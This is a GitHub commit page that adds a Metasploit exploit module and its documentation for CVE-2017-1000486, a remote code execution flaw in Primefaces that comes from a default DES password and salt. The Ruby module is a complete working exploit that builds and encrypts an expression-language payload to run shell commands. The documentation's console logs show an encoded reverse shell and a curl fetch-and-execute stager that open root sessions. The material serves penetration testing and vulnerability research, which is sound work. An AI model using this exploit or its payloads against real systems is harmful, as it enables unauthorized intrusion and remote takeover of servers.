Skip to content

Commit

Permalink
Land #19649, Primefaces RCE (CVE-2017-1000486)
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 authored Dec 7, 2024
2 parents 6cfc18a + 2357c8a commit 0e5cf3f
Show file tree
Hide file tree
Showing 2 changed files with 246 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
## Vulnerable Application

This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.

Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. The following payloads worked in the docker image:

* `payload/cmd/unix/reverse_jjs`
* `payload/cmd/unix/reverse_openssl`
* `payload/cmd/unix/reverse_perl`
* `payload/cmd/unix/reverse_python`
* `payload/cmd/unix/reverse_python_ssl`

### Docker Image

1. `git clone https://github.com/pimps/CVE-2017-1000486`
2. `cd CVE-2017-1000486/`
3. `docker build . -t primefaces`
4. `docker run -p 8090:8080 -t primefaces`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/primefaces_weak_encryption_rce`
1. Do: `set rhosts <ip>`
1. Do: `set verbose true`
1. Do: `set payload payload/cmd/unix/reverse_jjs`
1. You should get a shell.

## Options

### PASSWORD

The password to login. Defaults to `primefaces`

## Scenarios

### Docker image with Tomcat 7.0 with the Primefaces 5.2 Showcase application

CMD payload

```
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
rport => 8090
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload payload/cmd/unix/reverse_jjs
payload => cmd/unix/reverse_jjs
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Victim evaluates Expression Language expressions
[*] Attempting to execute: echo ZWNobyAiZXZhbChuZXcgamF2YS5sYW5nLlN0cmluZyhqYXZhLnV0aWwuQmFzZTY0LmRlY29kZXIuZGVjb2RlKCdkbUZ5SUZCeWIyTmxjM05DZFdsc1pHVnlQVXBoZG1FdWRIbHdaU2dpYW1GMllTNXNZVzVuTGxCeWIyTmxjM05DZFdsc1pHVnlJaWs3ZG1GeUlIQTlibVYzSUZCeWIyTmxjM05DZFdsc1pHVnlLQ0l2WW1sdUwzTm9JaWt1Y21Wa2FYSmxZM1JGY25KdmNsTjBjbVZoYlNoMGNuVmxLUzV6ZEdGeWRDZ3BPM1poY2lCemN6MUtZWFpoTG5SNWNHVW9JbXBoZG1FdWJtVjBMbE52WTJ0bGRDSXBPM1poY2lCelBXNWxkeUJ6Y3lnaU1TNHhMakV1TVNJc05EUTBOQ2s3ZG1GeUlIQnBQWEF1WjJWMFNXNXdkWFJUZEhKbFlXMG9LU3h3WlQxd0xtZGxkRVZ5Y205eVUzUnlaV0Z0S0Nrc2MyazljeTVuWlhSSmJuQjFkRk4wY21WaGJTZ3BPM1poY2lCd2J6MXdMbWRsZEU5MWRIQjFkRk4wY21WaGJTZ3BMSE52UFhNdVoyVjBUM1YwY0hWMFUzUnlaV0Z0S0NrN2QyaHBiR1VvSVhNdWFYTkRiRzl6WldRb0tTbDdkMmhwYkdVb2NHa3VZWFpoYVd4aFlteGxLQ2srTUNsemJ5NTNjbWwwWlNod2FTNXlaV0ZrS0NrcE8zZG9hV3hsS0hCbExtRjJZV2xzWVdKc1pTZ3BQakFwYzI4dWQzSnBkR1VvY0dVdWNtVmhaQ2dwS1R0M2FHbHNaU2h6YVM1aGRtRnBiR0ZpYkdVb0tUNHdLWEJ2TG5keWFYUmxLSE5wTG5KbFlXUW9LU2s3YzI4dVpteDFjMmdvS1R0d2J5NW1iSFZ6YUNncE8wcGhkbUV1ZEhsd1pTZ2lhbUYyWVM1c1lXNW5MbFJvY21WaFpDSXBMbk5zWldWd0tEVXdLVHQwY25sN2NDNWxlR2wwVm1Gc2RXVW9LVHRpY21WaGF6dDlZMkYwWTJnb1pTbDdmWDA3Y0M1a1pYTjBjbTk1S0NrN2N5NWpiRzl6WlNncE93PT0nKSkpOyJ8ampz|((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))|sh
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:54104) at 2024-11-14 11:31:01 -0500
whoami
root
```

fetch payload

```
msf6 > use exploit/multi/http/primefaces_weak_encryption_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set rport 8090
rport => 8090
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set verbose true
verbose => true
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/primefaces_weak_encryption_rce) > exploit
[*] Command to run on remote host: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Victim evaluates Expression Language expressions
[*] Attempting to execute: curl -so ./ihPBtpwPCD http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./ihPBtpwPCD; ./ihPBtpwPCD &
[*] Client 172.17.0.2 requested /aZRe4yWUN3U2-lDtdsaGlA
[*] Sending payload to 172.17.0.2 (curl/7.64.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.2:44312) at 2024-11-14 12:04:14 -0500
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Debian 10.10 (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
142 changes: 142 additions & 0 deletions modules/exploits/multi/http/primefaces_weak_encryption_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,142 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Primefaces Remote Code Execution Exploit',
'Description' => %q{
This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
documentation for working payloads.
},
'Author' => [
'Bjoern Schuette', # EDB
'h00die' # lots of fixes, documentation, standardization
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-1000486'],
['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
['EDB', '43733']
],
'Payload' => {
'BadChars' => '"\'\\' # all threw errors
},
'Privileged' => true,
'DisclosureDate' => '2016-02-15',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Universal', {},
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)

register_options([
Opt::RPORT(80),
OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
])
end

def encrypt_el(password, payload)
# el == Java Expression Language
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
iteration_count = 19

cipher = OpenSSL::Cipher.new('DES')
cipher.encrypt
cipher.pkcs5_keyivgen password, salt, iteration_count

ciphertext = cipher.update payload
ciphertext << cipher.final
ciphertext
end

def http_send_command(payload_wrapper)
encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
encrypted_payload = Rex::Text.encode_base64(encrypted_payload)

# send the payload and execute command
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
'vars_post' => {
'pfdrt' => 'sc',
'ln' => 'primefaces',
'pfdrid' => encrypted_payload
}
})

res
end

def exploit
cmd = payload.encoded

# good for testing
# cmd = "whoami"
# error logs will show
# Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
# SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payload_wrapper << '${session.getAttribute("scriptengine").eval('
payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
payload_wrapper << 'var proc = null;'
payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
payload_wrapper << 'var is = proc.getInputStream();'
payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'

vprint_status("Attempting to execute: #{cmd}")
res = http_send_command(payload_wrapper)
fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
# successful exploitation gives us no response
end

def check
marker = rand_text_alpha_lower(5..9)
# https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
# payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"

res = http_send_command(payload_wrapper)
return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker

Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
end

end

0 comments on commit 0e5cf3f

Please sign in to comment.